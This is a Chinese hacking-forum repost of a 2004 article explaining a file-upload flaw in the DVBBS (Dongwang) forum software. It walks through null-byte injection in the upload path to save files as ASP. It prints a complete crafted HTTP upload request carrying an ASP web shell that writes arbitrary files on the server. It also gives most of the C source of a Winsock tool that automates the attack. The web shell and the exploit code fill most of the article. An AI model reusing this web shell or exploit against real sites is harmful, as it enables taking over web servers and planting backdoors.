再贴一个上传的漏洞

动网论坛上传文件漏洞的原理以及攻击的代码实现

创建时间：2004-05-17
文章属性：原创
文章提交：suei8423 (suei8423_at_163.com)

动网论坛上传文件漏洞的原理以及攻击的代码实现
                                                                ----Zwell
                                                                ---http://www.54nb.com
    最近一段时间比较忙,没什么时间为组织做贡献(实在是没实力,呵呵).刚好前一段时间听小猪说动网
论坛出了一个上传任意文件的漏洞,当时没怎么明白.但是我看到最近NB论坛上全部都在讨论有关这方面的
问题,就研究了一下,发现这个漏洞确实存在,而且非常严重,用小猪的话说是DVBBS7.0 SP2以下通杀.虽然有些
人已经知道了攻击方法,但是还是存在一些问题.下面我就动网的这个漏洞做一下讲解.(不知道会不会被人
骂,因为这个漏洞实在太大了).
    我们先看一下动网论坛上传文件的相关代码:

'===========无组件上传(upload_0)====================
2

sub upload_0()
3

set upload=new UpFile_Class ''建立上传对象
4

upload.GetDate (int(Forum_Setting(56))*1024) '取得上传数据,不限大小
5

iCount=0
6

if upload.err > 0 then
8

select case upload.err
9

case 1
10

Response.Write "请先选择你要上传的文件　[ <a href=# onclick=history.go(-1)>重新上传</a> ]"
11

case 2
12

Response.Write "图片大小超过了限制 "&Forum_Setting(56)&"K　[ <a href=# onclick=history.go(-1)>重新上传</a> ]"
13

end select
14

exit sub
15

else
16

formPath=upload.form("filepath")
17

''在目录后加(/)
18

if right(formPath,1)<>"/" then formPath=formPath&"/"
19

for each formName in upload.file ''列出所有上传了的文件
21

set file=upload.file(formName) ''生成一个文件对象
22

if file.filesize<100 then
23

response.write "请先选择你要上传的图片　[ <a href=# onclick=history.go(-1)>重新上传</a> ]"
24

response.end
25

end if
26

fileExt=lcase(file.FileExt)
28

if CheckFileExt(fileEXT)=false then
29

response.write "文件格式不正确　[ <a href=# onclick=history.go(-1)>重新上传</a> ]"
30

response.end
31

end if
32

randomize
34

ranNum=int(90000*rnd)+10000
35

filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
36

if file.FileSize>0 then ''如果 FileSize > 0 说明有文件数据
37

file.SaveToFile Server.mappath(filename) ''保存文件
38

' response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!<br>"
39

response.write "<script>parent.document.forms[0].myface.value='"&FileName&"'</script>"
40

iCount=iCount+1
41

end if
42

set file=nothing
43

next
44

set upload=nothing
45

session("upface")="done"
46

Htmend iCount&" 个文件上传结束!"
47

end if
49

end sub

在上面代码中可以看到这样一句:
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
这里,filename是保存的文件名,它是依照上传时间来命名的,最后扩展名是表单中提交过来的文件的扩展名.但是
程序中对提交文件的类型做了限制,显然想直接上传ASP文件是不可行的.但是我们来看一下做为后辍的依据从哪里
来的呢?我们可以在reg_upload.asp中找到这样的代码:

<form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" >
2

<input type="hidden" name="filepath" value="uploadFace">
3

<input type="hidden" name="act" value="upload">
4

<input type="file" name="file1">
5

<input type="hidden" name="fname">
6

<input type="submit" name="Submit" value="上传" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true,
7

parent.document.forms[0].Submit2.disabled=true;">
8

</form>

这样,我们知道了,程序是提取file1表单和fname表单中的值来做判断的.也就是说直接从页面递交我们的ASP文件
也是行不通了,但是,如果是我们自己构造数据包的话就不一样了.欲望之翼提出的方法就是自已构造数据包来达到欺骗的目的.
将提交的file1表单和fname表单项的值改成合法的文件名称.这样就可以绕过文件类型的检测了.

当然,主要的问题不在这里,如果我们只是要上传那些代码的话,我们完全可以直接改文件名就好了.我们的目的
是要让我们上传的文件名改成ASP,这样我们才可以利用.关键就在这一句了:
formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
这句话将一段字符串合并起来.我们能改的就是formPath这个参数.在计算机中检测字符串的关键就是看是否碰到'\0'字符,
如果是,则认为字符串结束了.也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似"uploadface\zwell.asp"
这样的路径参数已经结束了,这样,后面一连串的时间字符我们都可以不要,从而达到直接将文件保存为我们定义的文件名的目的.
因些,我们要做的是在构造的数据包中,将表单中的filepath改成类似uploadface\zwell.asp'\0'的字符串然后发送出去就行了.
我们先来看一下数据包的格式(论坛上好像大家用的是WSockExpert,不过我用的是IRIS,我觉得更专业一点,^_^):

POST /forum/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)
Host: uyee.com
Content-Length: 1593
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF

-----------------------------7d4a325500d2
Content-Disposition: form-data; name="filepath"

uploadFace\zwell.asp
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="act"

upload
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="file1"; filename="C:\1.gif"
Content-Type: text/plain

<%dim objFSO%>
2

<%dim fdata%>
3

<%dim objCountFile%>
4

<%on error resume next%>
5

<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%>
6

<%if Trim(request("syfdpath"))<>"" then%>
7

<%fdata = request("cyfddata")%>
8

<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>
9

<%objCountFile.Write fdata%>
10

<%if err =0 then%>
11

<%response.write "<font color=red>save Success!</font>"%>
12

<%else%>
13

<%response.write "<font color=red>Save UnSuccess!</font>"%>
14

<%end if%>
15

<%err.clear%>
16

<%end if%>
17

<%objCountFile.Close%>
18

<%Set objCountFile=Nothing%>
19

<%Set objFSO = Nothing%>
20

<%Response.write "<form action='''' method=post>"%>
21

<%Response.Write "<input type=text name=syfdpath width=32 size=50>"%>
22

<%Response.Write "<br>"%>
23

<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
24

<%Response.write "<br>"%>
25

<%Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%>
26

<%Response.write "<input type=submit value=save>"%>
27

<%Response.write "</form>"%>

-----------------------------7d4a325500d2
Content-Disposition: form-data; name="fname"

C:\1.gif
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="Submit"

上传
-----------------------------7d4a325500d2--

上面的数据我是在WIN2003下调试的.按我前面讲的,只要改几个地方就好了
1.Content-Disposition: form-data; name="file1"; filename="C:\1.gif"
2.Content-Disposition: form-data; name="fname"

C:\1.gif
3.最重要的地方:uploadFace\zwell.asp,怎么加一个空字符呢?用UltraEdit是个好方法,用16进制编辑,
(因为'\0'这个字符也占一个位置,所以我们先打入一空格,然后再在UltraEdit里将对就空格符的20改成00).

至于,最前面的那一段,直接从抓包工具中提取就是了.而且随便一个都行.但是最重要的是要注意这一句:
Content-Length: 1593
很多人测试都没成功,就因为这个值设的不对,其实这个值很好算,是从第一个
"-----------------------------7d4a325500d2"开始算起,到"-----------------------------7d4a325500d2--\r\n\r\n"截止,
大家看到的"\r\n"是起换行作用,占两个字符.我看论坛上大家论坛时都是说加一个字符值就加一,不是说不对,只是还要这样数,
代码短倒无所谓,代码要是很长怎么办呢?:),这里告诉大家一个简单的方法:打开记事本,将算长度的代码复制到记事本,保存,
然后看属性就一目了然了,一个字符都不会错.只是有一点必须注意,必须将最后的那几个换行也复制进来.很多人就是因为没有
复制换行才失败的.

写了这么多,我们也看到,每一个这样改太不方便,做了工具是必须的了,呵呵,具体不多说了,部分代码如下:

#include <winsock2.h>
2

#include <stdio.h>
3

#include "Resource.h"
4

#pragma comment(lib,"ws2_32.lib")
6

HINSTANCE g_hInst;
8

HWND g_hWnd;
9

HWND m_up;
10

HWND m_host;
11

HWND m_webpath;
12

HWND m_path;
13

HWND m_filename;
14

HWND m_upload;
15

DWORD m_theadid;
16

BYTE sendbuf[10000];
17

char host[80]; //主机地址
18

char bbspath[50]; //论坛地址
19

char uppath[20]; //上传目录
20

char upfilename[50]; //上传文件名
21

char upfiledata[8000]; //上传文件内容
22

int sendsize; //总传送数据大小
23

int realsndsize = 0; //传送页面文件的大小
24

char snddata[8000];
25

char mm[1000]=
26

"<%dim objFSO%>\r\n"
27

"<%dim fdata%>\r\n"
28

"<%dim objCountFile%>\r\n"
29

"<%on error resume next%>\r\n"
30

"<%Set objFSO = Server.CreateObject(\"Scripting.FileSystemObject\")%>\r\n"
31

"<%if Trim(request(\"syfdpath\"))<>\"\" then%>\r\n"
32

"<%fdata = request(\"cyfddata\")%>\r\n"
33

"<%Set objCountFile=objFSO.CreateTextFile(request(\"syfdpath\"),True)%>\r\n"
34

"<%objCountFile.Write fdata%>\r\n"
35

"<%if err =0 then%>\r\n"
36

"<%response.write \"<font color=red>save Success!</font>\"%>\r\n"
37

"<%else%>"
38

"<%response.write \"<font color=red>Save UnSuccess!</font>\"%>\r\n"
39

"<%end if%>\r\n"
40

"<%err.clear%>\r\n"
41

"<%end if%>"
42

"<%objCountFile.Close%>\r\n"
43

"<%Set objCountFile=Nothing%>\r\n"
44

"<%Set objFSO = Nothing%>"
45

"<%Response.write \"<form action=\'\' method=post>\"%>\r\n"
46

"<%Response.Write \"<input type=text name=syfdpath width=32 size=50>\"%>\r\n"
47

"<%Response.Write \"<br>\"%>\r\n"
48

"<%=server.mappath(Request.ServerVariables(\"SCRIPT_NAME\"))%>\r\n"
49

"<%Response.write \"<br>\"%>\r\n"
50

"<%Response.write \"<textarea name=cyfddata cols=80 rows=10 width=32></textarea>\"%>\r\n"
51

"<%Response.write \"<input type=submit value=save>\"%>\r\n"
52

"<%Response.write \"</form>\"%>\r\n";
53

//获得控件文本
55

char *gettext(HWND chwnd)
56

{
57

char tmpbuf[10000];
58

SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf);
59

return tmpbuf;
60

}
61

//设置控件文本
63

void settext(HWND chwnd,char *text)
64

{
65

SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text);
66

}
67

char *itos(int data)
69

{
70

char tmp[10];
71

sprintf(tmp, "%d", data);
72

return tmp;
73

}
74

//上传线程
76

DWORD WINAPI uploadthread(LPVOID param)
77

{
78

SOCKET s;
79

sockaddr_in sin;
80

struct hostent * hp;
81

unsigned int addr;
82

s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
84

ZeroMemory((void *)&sin, sizeof(sin));
86

hp = gethostbyname(gettext(m_host));
88

if (!hp)
89

addr = inet_addr(gettext(m_host));
90

if ((!hp) && (addr == INADDR_NONE) )
91

{
92

MessageBox(g_hWnd, "Unable to resolve host", "sendbuf", MB_OK);
93

return 0;
94

}
95

if (hp != NULL)
96

memcpy(&(sin.sin_addr),hp->h_addr,hp->h_length);
97

else
98

sin.sin_addr.s_addr = addr;
99

100

sin.sin_port = htons(80);
101

sin.sin_family = AF_INET;
102

103

strcpy(host, gettext(m_host));
104

strcpy(bbspath, gettext(m_webpath));
105

strcpy(upfiledata, gettext(m_upload));
106

strcpy(uppath, gettext(m_path));
107

strcpy(upfilename, gettext(m_filename));
108

109

realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1;
110

111

sprintf((char *)sendbuf, "POST %s/upfile.asp HTTP/1.1\r\n"
112

"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"
113

"Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp\r\n"
114

"Accept-Language: zh-cn\r\n"
115

"Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2\r\n"
116

"Accept-Encoding: gzip, deflate\r\n"
117

"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\r\n"
118

"Host: %s\r\n"
119

"Content-Length: %d\r\n"
120

"Connection: Keep-Alive\r\n"
121

"Cache-Control: no-cache\r\n"
122

"Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF\r\n\r\n"
123

"-----------------------------7d4a325500d2\r\n"
124

"Content-Disposition: form-data; name=\"filepath\"\r\n\r\n"
125

"%s\\%s",
126

bbspath,
127

host,
128

realsndsize,
129

uppath,
130

upfilename);
131

132

sendsize = strlen((char *)sendbuf);
133

sendbuf[sendsize] = '\0';
134

135

sprintf(snddata,
136

"\r\n"
137

"-----------------------------7d4a325500d2\r\n"
138

"Content-Disposition: form-data; name=\"act\"\r\n\r\n"
139

"upload\r\n"
140

"-----------------------------7d4a325500d2\r\n"
141

"Content-Disposition: form-data; name=\"file1\"; filename=\"C:\\1.gif\"\r\n"
142

"Content-Type: text/plain\r\n\r\n"
143

"%s\r\n"
144

"-----------------------------7d4a325500d2\r\n"
145

"Content-Disposition: form-data; name=\"fname\"\r\n\r\n"
146

"C:\\1.gif\r\n"
147

"-----------------------------7d4a325500d2\r\n"
148

"Content-Disposition: form-data; name=\"Submit\"\r\n\r\n"
149

"上传\r\n"
150

"-----------------------------7d4a325500d2--\r\n\r\n",
151

upfiledata);
152

153

strcat((char *)&sendbuf[sendsize+1], snddata);
154

155

sendsize += strlen(snddata);
156

sendsize += 1;
157

158

if(SOCKET_ERROR == connect(s, (struct sockaddr *)&sin, sizeof(sin)))
159

{
160

MessageBox(g_hWnd, "连接出错!", "出错提示:", MB_OK|MB_ICONERROR);
161

return 0;
162

}
163

int sendsz = send(s, (char *)sendbuf, sendsize, 0);
164

if(sendsz <= 0)
165

MessageBox(g_hWnd, "发送数据失败", itos(WSAGetLastError()), MB_OK);
166

char recvbuf[10000];
167

recv(s, (char*)recvbuf, 10000, 0);
168

settext(m_upload, recvbuf);
169

closesocket(s);
170

return 0;
171

}
172

173

void WINAPI On_Command(WPARAM wParam)
174

{
175

switch (LOWORD(wParam))
176

{
177

case ID_UP:
178

CreateThread(NULL, 0, uploadthread, NULL, NULL, &m_theadid);
179

break;
180

case IDCANCEL:
181

SendMessage(g_hWnd, WM_CLOSE, (WPARAM)(NULL), LPARAM(NULL));
182

break;
183

}
184

}
185

186

static BOOL CALLBACK MainDlgProc(HWND hWndDlg, UINT msg, WPARAM wParam, LPARAM lParam)
187

{
188

switch (msg)
189

{
190

case WM_INITDIALOG:
191

g_hWnd = hWndDlg;
192

m_up = GetDlgItem(g_hWnd, ID_UP);
193

m_host = GetDlgItem(g_hWnd, IDC_EDIT1);
194

m_webpath = GetDlgItem(g_hWnd, IDC_EDIT2);
195

m_path = GetDlgItem(g_hWnd, IDC_EDIT3);
196

m_upload = GetDlgItem(g_hWnd, IDC_EDIT4);
197

m_filename = GetDlgItem(g_hWnd, IDC_EDIT5);
198

settext(m_host, "192.168.10.101");
199

settext(m_webpath, "/");
200

settext(m_path, "uploadface");
201

settext(m_filename, "zwell.asp");
202

settext(m_upload, mm);
203

return TRUE;
204

205

case WM_COMMAND:
206

On_Command(wParam);
207

break;
208

209

case WM_SIZE:
210

break;
211

212

case WM_CLOSE:
213

EndDialog(g_hWnd,0);
214

break;
215

}
216

return FALSE;
217

}
218

219

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
220

{
221

WSADATA wsaData;
222

223

g_hInst=hInstance;
224

if(WSAStartup(MAKEWORD(1, 1), &wsaData))
225

{
226

MessageBox(NULL,"无法初始化 Winsock DLL\t","错误",MB_OK|MB_ICONSTOP);
227

return 0;
228

}
229

DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1), NULL, (DLGPROC) MainDlgProc);
230

WSACleanup();
231

return 1;
232

}

WINDOWS2003 + VC.NET
WINDOWS2003 WINDOWS2000测试通过

完整源代码暂时不提供,大家可以到论坛留言一下,如果联盟同意的话,我再公布吧.
有什么问题欢迎与我交流:zwell@sohu.com http://www.54nb.com
转贴请保证文章完整性.